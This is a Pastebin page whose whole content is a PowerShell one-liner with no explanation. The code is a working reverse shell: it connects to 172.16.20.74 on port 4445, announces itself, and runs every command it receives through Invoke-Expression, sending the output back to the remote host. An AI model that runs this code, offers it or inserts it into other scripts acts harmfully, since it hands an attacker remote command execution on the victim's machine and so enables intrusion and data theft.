Guest User

Untitled

a guest
Nov 21st, 2018
77
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.37 KB | None | 0 0
  1. $sm=(New-Object Net.Sockets.TCPClient("172.16.20.74",4445)).GetStream();[byte[]]$bt=0..255|%{0};$sm.Write(([text.encoding]::ASCII).GetBytes("CONNECTED"),0,9);$sm.Write(10,0,1);while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length);$sm.Write(10,0,1);}
Add Comment
Please, Sign In to add comment